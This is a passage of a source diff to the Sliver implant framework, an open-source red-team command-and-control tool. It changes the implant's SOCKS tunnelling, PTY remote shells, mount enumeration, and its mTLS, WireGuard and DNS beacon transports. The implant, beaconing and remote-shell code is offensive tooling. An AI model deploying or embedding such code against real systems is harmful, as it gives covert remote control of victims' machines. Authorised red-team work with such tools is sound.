 var socksServer *socks5.Server
 
+// Initialize socks server
+func init() {
+	socksServer = socks5.NewServer()
+	socksTunnels.startCleanupMonitor()
+}
+
 func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
 	socksData := &sliverpb.SocksData{}
 	err := proto.Unmarshal(envelope.Data, socksData)
@@ -55,9 +68,26 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 		// {{end}}
 		return
 	}
+	time.Sleep(10 * time.Millisecond) // Necessary delay
+
+	// Check early to see if this is a close request from server
+	if socksData.CloseConn {
+		if tunnel, ok := socksTunnels.tunnels.LoadAndDelete(socksData.TunnelID); ok {
+			if ch, ok := tunnel.(chan []byte); ok {
+				close(ch)
+			}
+		}
+		socksTunnels.lastActivity.Delete(socksData.TunnelID)
+		return
+	}
+
 	if socksData.Data == nil {
 		return
 	}
+
+	// Record activity as soon as we get data for this tunnel
+	socksTunnels.recordActivity(socksData.TunnelID)
+
 	// {{if .Config.Debug}}
 	log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
 	// {{end}}
@@ -70,8 +100,6 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 		socksServer = socks5.NewServer(
 			socks5.WithAuthMethods([]socks5.Authenticator{auth}),
 		)
-	} else {
-		socksServer = socks5.NewServer()
 	}
 
 	// {{if .Config.Debug}}
@@ -80,7 +108,7 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 
 	// init tunnel
 	if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
-		tunnelChan := make(chan []byte, 10)
+		tunnelChan := make(chan []byte, 100) // Buffered channel for 100 messages
 		socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
 		tunnelChan <- socksData.Data
 		err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
@@ -88,9 +116,12 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 			// {{if .Config.Debug}}
 			log.Printf("[socks] Failed to serve connection: %v", err)
 			// {{end}}
+			// Cleanup on serve failure
+			socksTunnels.tunnels.Delete(socksData.TunnelID)
 			return
 		}
 	} else {
+		// Will block when channel is full
 		tunnel.(chan []byte) <- socksData.Data
 	}
 }
@@ -105,16 +136,22 @@ type socks struct {
 }
 
 func (s *socks) Read(b []byte) (n int, err error) {
+	time.Sleep(10 * time.Millisecond) // Necessary delay
+
 	channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
 	if !ok {
 		return 0, errors.New("[socks] invalid tunnel id")
 	}
 
+	socksTunnels.recordActivity(s.stream.TunnelID)
 	data := <-channel.(chan []byte)
 	return copy(b, data), nil
 }
 
 func (s *socks) Write(b []byte) (n int, err error) {
+	time.Sleep(10 * time.Millisecond) // Necessary delay
+
+	socksTunnels.recordActivity(s.stream.TunnelID)
 	data, err := proto.Marshal(&sliverpb.SocksData{
 		TunnelID: s.stream.TunnelID,
 		Data:     b,
@@ -136,12 +173,15 @@ func (s *socks) Write(b []byte) (n int, err error) {
 }
 
 func (s *socks) Close() error {
+	time.Sleep(10 * time.Millisecond) // Necessary delay
+
 	channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
 	if !ok {
 		return errors.New("[socks] can't close unknown channel")
 	}
 	close(channel.(chan []byte))
 
+	// Signal to server that we need to close this tunnel
 	data, err := proto.Marshal(&sliverpb.SocksData{
 		TunnelID:  s.stream.TunnelID,
 		CloseConn: true,
@@ -181,3 +221,38 @@ func (c *socks) SetReadDeadline(t time.Time) error {
 func (c *socks) SetWriteDeadline(t time.Time) error {
 	return nil
 }
+
+func (s *socksTunnelPool) recordActivity(tunnelID uint64) {
+	s.lastActivity.Store(tunnelID, time.Now())
+}
+
+// Periodically check for inactive tunnels and clean up
+func (s *socksTunnelPool) startCleanupMonitor() {
+	go func() {
+		ticker := time.NewTicker(inactivityCheckInterval)
+		defer ticker.Stop()
+
+		for range ticker.C {
+			s.tunnels.Range(func(key, value interface{}) bool {
+				tunnelID := key.(uint64)
+				lastActivityI, exists := s.lastActivity.Load(tunnelID)
+				if !exists {
+					// If no activity record exists, create one
+					s.recordActivity(tunnelID)
+					return true
+				}
+
+				lastActivity := lastActivityI.(time.Time)
+				if time.Since(lastActivity) > inactivityTimeout {
+					// Clean up the inactive tunnel
+					if ch, ok := value.(chan []byte); ok {
+						close(ch)
+					}
+					s.tunnels.Delete(tunnelID)
+					s.lastActivity.Delete(tunnelID)
+				}
+				return true
+			})
+		}
+	}()
+}

implant/sliver/mount/mount_darwin.go

@@ -0,0 +1,166 @@
+//go:build darwin
+
+package mount
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2023  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"strings"
+
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"golang.org/x/sys/unix"
+)
+
+func getString(input []byte) string {
+	ver := string(input)
+	if i := strings.Index(ver, "\x00"); i != -1 {
+		ver = ver[:i]
+	}
+	return ver
+}
+
+func formatMountFlags(flags uint32) string {
+	opts := make([]string, 0, 12)
+
+	if flags&unix.MNT_RDONLY != 0 {
+		opts = append(opts, "ro")
+	} else {
+		opts = append(opts, "rw")
+	}
+	if flags&unix.MNT_NOSUID != 0 {
+		opts = append(opts, "nosuid")
+	}
+	if flags&unix.MNT_NODEV != 0 {
+		opts = append(opts, "nodev")
+	}
+	if flags&unix.MNT_NOEXEC != 0 {
+		opts = append(opts, "noexec")
+	}
+	if flags&unix.MNT_SYNCHRONOUS != 0 {
+		opts = append(opts, "sync")
+	}
+	if flags&unix.MNT_ASYNC != 0 {
+		opts = append(opts, "async")
+	}
+	if flags&unix.MNT_NOATIME != 0 {
+		opts = append(opts, "noatime")
+	}
+	if flags&unix.MNT_JOURNALED != 0 {
+		opts = append(opts, "journaled")
+	}
+	if flags&unix.MNT_QUOTA != 0 {
+		opts = append(opts, "quota")
+	}
+	if flags&unix.MNT_UNION != 0 {
+		opts = append(opts, "union")
+	}
+	if flags&unix.MNT_AUTOMOUNTED != 0 {
+		opts = append(opts, "automounted")
+	}
+	if flags&unix.MNT_REMOVABLE != 0 {
+		opts = append(opts, "removable")
+	}
+	if flags&unix.MNT_DONTBROWSE != 0 {
+		opts = append(opts, "nobrowse")
+	}
+	if flags&unix.MNT_IGNORE_OWNERSHIP != 0 {
+		opts = append(opts, "ignore-ownership")
+	}
+	if flags&unix.MNT_LOCAL != 0 {
+		opts = append(opts, "local")
+	}
+	if flags&unix.MNT_ROOTFS != 0 {
+		opts = append(opts, "rootfs")
+	}
+	if flags&unix.MNT_SNAPSHOT != 0 {
+		opts = append(opts, "snapshot")
+	}
+	if flags&unix.MNT_CPROTECT != 0 {
+		opts = append(opts, "cprotect")
+	}
+	if flags&unix.MNT_NOUSERXATTR != 0 {
+		opts = append(opts, "nouserxattr")
+	}
+	if flags&unix.MNT_QUARANTINE != 0 {
+		opts = append(opts, "quarantine")
+	}
+	if flags&unix.MNT_UNKNOWNPERMISSIONS != 0 {
+		opts = append(opts, "unknown-permissions")
+	}
+	if flags&unix.MNT_DEFWRITE != 0 {
+		opts = append(opts, "defwrite")
+	}
+	if flags&unix.MNT_DOVOLFS != 0 {
+		opts = append(opts, "volfs")
+	}
+	if flags&unix.MNT_NOBLOCK != 0 {
+		opts = append(opts, "noblock")
+	}
+	if flags&unix.MNT_RELOAD != 0 {
+		opts = append(opts, "reload")
+	}
+	if flags&unix.MNT_UPDATE != 0 {
+		opts = append(opts, "update")
+	}
+	if flags&unix.MNT_EXPORTED != 0 {
+		opts = append(opts, "exported")
+	}
+	if flags&unix.MNT_MULTILABEL != 0 {
+		opts = append(opts, "multilabel")
+	}
+	if flags&unix.MNT_STRICTATIME != 0 {
+		opts = append(opts, "strictatime")
+	}
+	if flags&unix.MNT_FORCE != 0 {
+		opts = append(opts, "force")
+	}
+
+	return strings.Join(opts, ",")
+}
+
+func GetMountInformation() ([]*sliverpb.MountInfo, error) {
+	mountInfo := make([]*sliverpb.MountInfo, 0)
+
+	count, err := unix.Getfsstat(nil, unix.MNT_NOWAIT)
+	if err != nil || count == 0 {
+		return mountInfo, err
+	}
+
+	stats := make([]unix.Statfs_t, count)
+	count, err = unix.Getfsstat(stats, unix.MNT_NOWAIT)
+	if err != nil {
+		return mountInfo, err
+	}
+
+	stats = stats[:count]
+	for _, stat := range stats {
+		var mountData sliverpb.MountInfo
+		mountData.VolumeName = getString(stat.Mntfromname[:])
+		mountData.MountPoint = getString(stat.Mntonname[:])
+		mountData.Label = "/"
+		mountData.VolumeType = getString(stat.Fstypename[:])
+		mountData.MountOptions = formatMountFlags(stat.Flags)
+		mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
+		mountData.FreeSpace = stat.Bavail * uint64(stat.Bsize)
+		mountData.UsedSpace = (stat.Blocks - stat.Bfree) * uint64(stat.Bsize)
+		mountInfo = append(mountInfo, &mountData)
+	}
+
+	return mountInfo, nil
+}

implant/sliver/mount/mount_linux.go

@@ -1,7 +1,25 @@
-// +linux
+//go:build linux
 
 package mount
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2023  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"bufio"
 	"os"

implant/sliver/mount/mount_windows.go

@@ -1,5 +1,6 @@
 //go:build windows
-// +build windows
+
+package mount
 
 /*
 	Sliver Implant Framework
@@ -19,8 +20,6 @@
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
-package mount
-
 import (
 	"errors"
 	"fmt"

implant/sliver/procdump/dump_darwin.go

@@ -1,4 +1,4 @@
-// +darwin
+//go:build darwin
 
 package procdump
 

implant/sliver/shell/pty/pty_openbsd.go

@@ -2,6 +2,7 @@ package pty
 
 import (
 	"os"
+	"path/filepath"
 	"syscall"
 	"unsafe"
 )
@@ -26,8 +27,29 @@ func open() (pty, tty *os.File, err error) {
 		return nil, nil, err
 	}
 
-	pty = os.NewFile(uintptr(ptm.Cfd), "/dev/ptm")
-	tty = os.NewFile(uintptr(ptm.Sfd), "/dev/ptm")
+	cName := cString(ptm.Cn[:])
+	sName := cString(ptm.Sn[:])
+	ptyPath := "/dev/ptm"
+	ttyPath := "/dev/ptm"
+	if cName != "" {
+		ptyPath = filepath.Join("/dev", cName)
+	}
+	if sName != "" {
+		ttyPath = filepath.Join("/dev", sName)
+	}
+	pty = os.NewFile(uintptr(ptm.Cfd), ptyPath)
+	tty = os.NewFile(uintptr(ptm.Sfd), ttyPath)
 
 	return pty, tty, nil
 }
+
+func cString(in []int8) string {
+	out := make([]byte, 0, len(in))
+	for _, c := range in {
+		if c == 0 {
+			break
+		}
+		out = append(out, byte(c))
+	}
+	return string(out)
+}

implant/sliver/shell/shell-pty.go

@@ -21,13 +21,15 @@ package shell
 */
 
 import (
-
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
 
 	"context"
+	"os"
 	"os/exec"
+	"sync"
+	"syscall"
 
 	"github.com/bishopfox/sliver/implant/sliver/shell/pty"
 )
@@ -45,9 +47,9 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
+func StartInteractive(tunnelID uint64, command []string, enablePty bool, rows, cols uint16) (*Shell, error) {
 	if enablePty {
-		return ptyShell(tunnelID, command)
+		return ptyShell(tunnelID, command, rows, cols)
 	}
 	return pipedShell(tunnelID, command)
 }
@@ -98,7 +100,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 	}, err
 }
 
-func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
+func ptyShell(tunnelID uint64, command []string, rows, cols uint16) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[ptmx] %s", command)
 	// {{end}}
@@ -106,7 +108,7 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
 	ctx, cancel := context.WithCancel(context.Background())
 
 	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
-	term, err := pty.Start(cmd)
+	ptyFile, ttyFile, err := pty.Open()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[term] %v, falling back to piped shell...", err)
@@ -115,6 +117,39 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
 		return pipedShell(tunnelID, command)
 	}
 
+	ttyPath := ttyFile.Name()
+
+	if rows > 0 && cols > 0 {
+		sz := &pty.Winsize{Rows: rows, Cols: cols}
+		_ = pty.Setsize(ttyFile, sz)
+		_ = pty.Setsize(ptyFile, sz)
+	}
+
+	cmd.Stdout = ttyFile
+	cmd.Stdin = ttyFile
+	cmd.Stderr = ttyFile
+	if cmd.SysProcAttr == nil {
+		cmd.SysProcAttr = &syscall.SysProcAttr{}
+	}
+	cmd.SysProcAttr.Setctty = true
+	cmd.SysProcAttr.Setsid = true
+	err = cmd.Start()
+	if err != nil {
+		ptyFile.Close()
+		ttyFile.Close()
+		// {{if .Config.Debug}}
+		log.Printf("[term] %v, falling back to piped shell...", err)
+		// {{end}}
+		cancel()
+		return pipedShell(tunnelID, command)
+	}
+
+	term := &ptyRWC{
+		pty: ptyFile,
+		tty: ttyPath,
+	}
+	_ = ttyFile.Close()
+
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
@@ -124,6 +159,66 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
 	}, err
 }
 
+type ptyRWC struct {
+	pty *os.File
+	tty string
+
+	closeOnce sync.Once
+}
+
+func (p *ptyRWC) Read(b []byte) (int, error) {
+	return p.pty.Read(b)
+}
+
+func (p *ptyRWC) Write(b []byte) (int, error) {
+	return p.pty.Write(b)
+}
+
+func (p *ptyRWC) Close() error {
+	var retErr error
+	p.closeOnce.Do(func() {
+		if p.pty != nil {
+			retErr = p.pty.Close()
+		}
+	})
+	return retErr
+}
+
+func (p *ptyRWC) Resize(rows, cols uint32) error {
+	if rows > 0xffff {
+		rows = 0xffff
+	}
+	if cols > 0xffff {
+		cols = 0xffff
+	}
+	if rows == 0 || cols == 0 {
+		return nil
+	}
+
+	sz := &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)}
+	errTTY := error(nil)
+	if p.tty != "" {
+		ttyFile, err := os.OpenFile(p.tty, os.O_RDWR|syscall.O_NOCTTY, 0)
+		if err != nil {
+			errTTY = err
+		} else {
+			errTTY = pty.Setsize(ttyFile, sz)
+			_ = ttyFile.Close()
+		}
+	}
+	errPTY := error(nil)
+	if p.pty != nil {
+		errPTY = pty.Setsize(p.pty, sz)
+	}
+	if errTTY == nil || errPTY == nil {
+		return nil
+	}
+	if errTTY != nil {
+		return errTTY
+	}
+	return errPTY
+}
+
 // GetSystemShellPath - Find bash or sh
 func GetSystemShellPath(path string) []string {
 	if exists(path) {

implant/sliver/shell/shell_generic.go

@@ -43,7 +43,7 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
+func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
 	return pipedShell(tunnelID, command)
 }
 

implant/sliver/shell/shell_windows.go

@@ -62,7 +62,7 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
+func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
 	return pipedShell(tunnelID, command)
 }
 

implant/sliver/transports/beacon.go

@@ -36,12 +36,18 @@ import (
 
 	// {{end}}
 
+	// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
+	"errors"
+
+	"github.com/hashicorp/yamux"
+
+	// {{end}}
+
 	// {{if .Config.IncludeHTTP}}
 	"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
 	// {{end}}
 
 	// {{if .Config.IncludeWG}}
-	"errors"
 	"net"
 
 	"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
@@ -192,6 +198,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
 	}
 
 	var conn *tls.Conn
+	var muxSession *yamux.Session
 	beacon := &Beacon{
 		ActiveC2: uri.String(),
 		Init: func() error {
@@ -202,15 +209,60 @@ func mtlsBeacon(uri *url.URL) *Beacon {
 			if err != nil {
 				return err
 			}
+			if conn == nil {
+				return errors.New("[mtls] connect returned nil conn")
+			}
+			if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
+				_ = conn.Close()
+				return err
+			}
+			muxSession, err = yamux.Client(conn, nil)
+			if err != nil {
+				_ = conn.Close()
+				return err
+			}
+			if muxSession == nil {
+				_ = conn.Close()
+				return errors.New("[mtls] failed to create yamux session (nil)")
+			}
 			return nil
 		},
 		Recv: func() (*pb.Envelope, error) {
-			return mtls.ReadEnvelope(conn)
+			if muxSession == nil {
+				return nil, errors.New("[mtls] recv called with nil yamux session")
+			}
+			stream, err := muxSession.Accept()
+			if err != nil {
+				return nil, err
+			}
+			if isNilInterface(stream) {
+				return nil, errors.New("[mtls] accept returned nil stream")
+			}
+			defer stream.Close()
+			return mtls.ReadEnvelope(stream)
 		},
 		Send: func(envelope *pb.Envelope) error {
-			return mtls.WriteEnvelope(conn, envelope)
+			if envelope == nil {
+				return errors.New("[mtls] nil envelope")
+			}
+			if muxSession == nil {
+				return errors.New("[mtls] send called with nil yamux session")
+			}
+			stream, err := muxSession.Open()
+			if err != nil {
+				return err
+			}
+			if isNilInterface(stream) {
+				return errors.New("[mtls] open returned nil stream")
+			}
+			defer stream.Close()
+			return mtls.WriteEnvelope(stream, envelope)
 		},
 		Close: func() error {
+			if muxSession != nil {
+				_ = muxSession.Close()
+				muxSession = nil
+			}
 			if conn != nil {
 				err = conn.Close()
 				if err != nil {
@@ -242,6 +294,7 @@ func wgBeacon(uri *url.URL) *Beacon {
 
 	var conn net.Conn
 	var dev *device.Device
+	var muxSession *yamux.Session
 	beacon := &Beacon{
 		ActiveC2: uri.String(),
 		Init: func() error {
@@ -260,25 +313,48 @@ func wgBeacon(uri *url.URL) *Beacon {
 			if err != nil {
 				return err
 			}
+			if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
+				_ = conn.Close()
+				_ = dev.Down()
+				return err
+			}
+			muxSession, err = yamux.Client(conn, nil)
+			if err != nil {
+				_ = conn.Close()
+				_ = dev.Down()
+				return err
+			}
 			return nil
 		},
 		Recv: func() (*pb.Envelope, error) {
-			return wireguard.ReadEnvelope(conn)
+			stream, err := muxSession.Accept()
+			if err != nil {
+				return nil, err
+			}
+			defer stream.Close()
+			return wireguard.ReadEnvelope(stream)
 		},
 		Send: func(envelope *pb.Envelope) error {
-			return wireguard.WriteEnvelope(conn, envelope)
+			stream, err := muxSession.Open()
+			if err != nil {
+				return err
+			}
+			defer stream.Close()
+			return wireguard.WriteEnvelope(stream, envelope)
 		},
 		Close: func() error {
-			err = conn.Close()
-			if err != nil {
-				return err
+			if muxSession != nil {
+				_ = muxSession.Close()
+				muxSession = nil
 			}
-			err = dev.Down()
-			if err != nil {
-				return err
+			if conn != nil {
+				_ = conn.Close()
+				conn = nil
+			}
+			if dev != nil {
+				_ = dev.Down()
+				dev = nil
 			}
-			conn = nil
-			dev = nil
 			return nil
 		},
 		Cleanup: func() error {

implant/sliver/transports/dnsclient/dnsclient.go

@@ -46,6 +46,7 @@ import (
 	"encoding/binary"
 	"errors"
 	"hash/crc32"
+	"net"
 	"net/url"
 	"strconv"
 	"strings"
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
 	}
 	s.resolvers = []DNSResolver{}
 	for _, server := range s.resolvConf.Servers {
+		address, port := splitResolverAddress(server, s.resolvConf.Port)
 		s.resolvers = append(s.resolvers,
-			NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
+			NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
 		)
 	}
 	// {{if .Config.Debug}}
 	log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
 	// {{end}}
 
-	err = s.getDNSSessionID() // Get a 'dns session id'
-	if err != nil {
-		return err
-	}
-	s.fingerprintResolvers() // Fingerprint the resolvers
-	if len(s.resolvers) < 1 {
-		// {{if .Config.Debug}}
-		log.Printf("[dns] no working resolvers!")
-		// {{end}}
-		return errNoResolvers
+	// Generate a random session ID locally. The server will only allocate state
+	// after a successful INIT, which avoids an unauthenticated session bootstrap.
+	if s.dnsSessionID == 0 {
+		sid, err := s.randomDNSSessionID()
+		if err != nil {
+			return err
+		}
+		s.dnsSessionID = sid
 	}
 
 	// Key agreement with server
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
 		// {{end}}
 		return err
 	}
-	resolver, _ := s.randomResolver()
 	initMsg := &dnspb.DNSMessage{
 		ID:   s.nextMsgID(),
 		Type: dnspb.DNSMessageType_INIT,
 		Size: uint32(len(initData)),
 	}
-	respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[dns] init msg send failure %v", err)
-		// {{end}}
-		return err
-	}
 
-	if len(respData) < 1 {
-		// {{if .Config.Debug}}
-		log.Printf("[dns] no data received in message")
-		// {{end}}
-		return ErrEmptyResponse
+	var respData []byte
+	var initErr error
+	for _, resolver := range s.resolvers {
+		respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
+		if initErr != nil {
+			continue
+		}
+		if len(respData) < 1 {
+			initErr = ErrEmptyResponse
+			continue
+		}
+		data, err := s.cipherCtx.Decrypt(respData)
+		if err != nil {
+			initErr = err
+			continue
+		}
+		if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
+			initErr = errInvalidDNSSessionID
+			continue
+		}
+		initErr = nil
+		break
 	}
-
-	data, err := s.cipherCtx.Decrypt(respData)
-	if err != nil {
+	if initErr != nil {
 		// {{if .Config.Debug}}
-		log.Printf("[dns] init msg decryption failure %v", err)
+		log.Printf("[dns] init msg send failure %v", initErr)
 		// {{end}}
-		return err
-	}
-	if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
-		// {{if .Config.Debug}}
-		log.Printf("[dns] init msg dns session id mismatch")
-		// {{end}}
-		return err
+		return initErr
 	}
 
 	// Good to go!
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
 	log.Printf("[dns] key exchange was successful!")
 	// {{end}}
 
+	// Now that we have a server-side session, benchmark/fingerprint resolvers and
+	// drop ones that error.
+	s.fingerprintResolvers()
+	if len(s.resolvers) < 1 {
+		// {{if .Config.Debug}}
+		log.Printf("[dns] no working resolvers!")
+		// {{end}}
+		return errNoResolvers
+	}
+
 	// {{if .Config.Debug}}
 	log.Printf("[dns] starting worker(s) ...")
 	// {{end}}
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
 	return subdata, nil
 }
 
-func (s *SliverDNSClient) getDNSSessionID() error {
-	otpMsg, err := s.otpMsg()
-	if err != nil {
-		return err
-	}
-	otpDomain, err := s.joinSubdataToParent(otpMsg)
-	if err != nil {
-		return err
-	}
-	// {{if .Config.Debug}}
-	log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
-	// {{end}}
-
-	var a []byte
-	for _, resolver := range s.resolvers {
-		a, _, err = resolver.A(otpDomain)
-		if err == nil {
-			break
+func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
+	// sessionID is 24-bit and must be non-zero.
+	randBuf := make([]byte, 4)
+	for {
+		_, err := rand.Read(randBuf)
+		if err != nil {
+			return 0, err
+		}
+		sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
+		if sid != 0 {
+			return sid, nil
 		}
 	}
-	if err != nil {
-		return err // All resolvers failed
-	}
-	if len(a) < 1 {
-		return errInvalidDNSSessionID
-	}
-	s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
-	if s.dnsSessionID == 0 {
-		return errInvalidDNSSessionID
-	}
-	// {{if .Config.Debug}}
-	log.Printf("[dns] dns session id: %d", s.dnsSessionID)
-	// {{end}}
-	return nil
 }
 
 func (s *SliverDNSClient) loadResolvConf() error {
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
 	return err
 }
 
+func splitResolverAddress(server string, defaultPort string) (string, string) {
+	server = strings.TrimSpace(server)
+	if server == "" {
+		return "", defaultPort
+	}
+
+	// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
+	// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
+	// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
+	if host, port, err := net.SplitHostPort(server); err == nil {
+		return host, port
+	}
+	if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
+		return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
+	}
+	return server, defaultPort
+}
+
 // Joins subdata to the parent domain, you must have already done the math to
 // ensure the subdata can fit in the domain
 func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
 	return string(msg), nil
 }
 
-func (s *SliverDNSClient) otpMsg() (string, error) {
-	otpMsg := &dnspb.DNSMessage{
-		Type: dnspb.DNSMessageType_TOTP,
-		ID:   uint32(0), // Take advantage of the variable length encoding
-	}
-	data, err := proto.Marshal(otpMsg)
-	if err != nil {
-		return "", err
-	}
-	msg, _ := s.base32.Encode(data)
-	return string(msg), nil
-}
-
 // fingerprintResolver - Fingerprints resolve to validate base32 transport.
 func (s *SliverDNSClient) fingerprintResolvers() {
 	wg := &sync.WaitGroup{}

implant/sliver/transports/dnsclient/dnsclient_test.go

@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
 	}
 }
 
-func TestOTPMsgRoundTrip(t *testing.T) {
+func TestRandomDNSSessionID(t *testing.T) {
 	client := NewDNSClient(parent1, opts)
-	encoded, err := client.otpMsg()
+	sid, err := client.randomDNSSessionID()
 	if err != nil {
-		t.Fatalf("Unexpected otpMsg error: %s", err)
+		t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
 	}
-	if !isBase32String(encoded) {
-		t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
+	if sid == 0 {
+		t.Fatal("expected non-zero dns session id")
 	}
-	raw, err := encoders.Base32{}.Decode([]byte(encoded))
-	if err != nil {
-		t.Fatalf("Unexpected otpMsg decode error: %s", err)
-	}
-	msg := &dnspb.DNSMessage{}
-	if err := proto.Unmarshal(raw, msg); err != nil {
-		t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
-	}
-	if msg.Type != dnspb.DNSMessageType_TOTP {
-		t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
-	}
-	if msg.ID != 0 {
-		t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
+	if (sid & ^uint32(sessionIDBitMask)) != 0 {
+		t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
 	}
 }
 

implant/sliver/transports/dnsclient/resolver-generic.go

@@ -22,6 +22,7 @@ import (
 	"crypto/rand"
 	"encoding/binary"
 	"errors"
+	"net"
 	"strings"
 	"time"
 
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
 		retries = 1
 	}
 	return &GenericResolver{
-		address:   address + ":" + port,
+		address:   net.JoinHostPort(address, port),
 		retries:   retries,
 		retryWait: retryWait,
 		resolver: &dns.Client{

implant/sliver/transports/mtls/mtls.go

@@ -21,13 +21,16 @@ package mtls
 // {{if .Config.IncludeMTLS}}
 
 import (
-	"bytes"
+	"crypto/ed25519"
+	"crypto/sha256"
 	"crypto/tls"
 	"crypto/x509"
 	"encoding/binary"
 	"errors"
 	"fmt"
 	"io"
+	"reflect"
+	"sync"
 	"time"
 
 	// {{if .Config.Debug}}
@@ -35,9 +38,11 @@ import (
 	// {{end}}
 
 	"os"
+	"strings"
 
 	"github.com/bishopfox/sliver/implant/sliver/cryptography"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+	"golang.org/x/crypto/blake2b"
 	"google.golang.org/protobuf/proto"
 )
 
@@ -45,6 +50,9 @@ var (
 	// PingInterval - Amount of time between in-band "pings"
 	PingInterval = 2 * time.Minute
 
+	// YamuxPreface - Magic bytes sent before yamux frames
+	YamuxPreface = "MUX/1"
+
 	// caCertPEM - PEM encoded CA certificate
 	caCertPEM = `{{.Build.MtlsCACert}}`
 
@@ -52,36 +60,113 @@ var (
 	certPEM = `{{.Build.MtlsCert}}`
 )
 
+const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
+
+var (
+	envelopeSigningOnce  sync.Once
+	envelopeSigningErr   error
+	envelopeSigningKeyID uint64
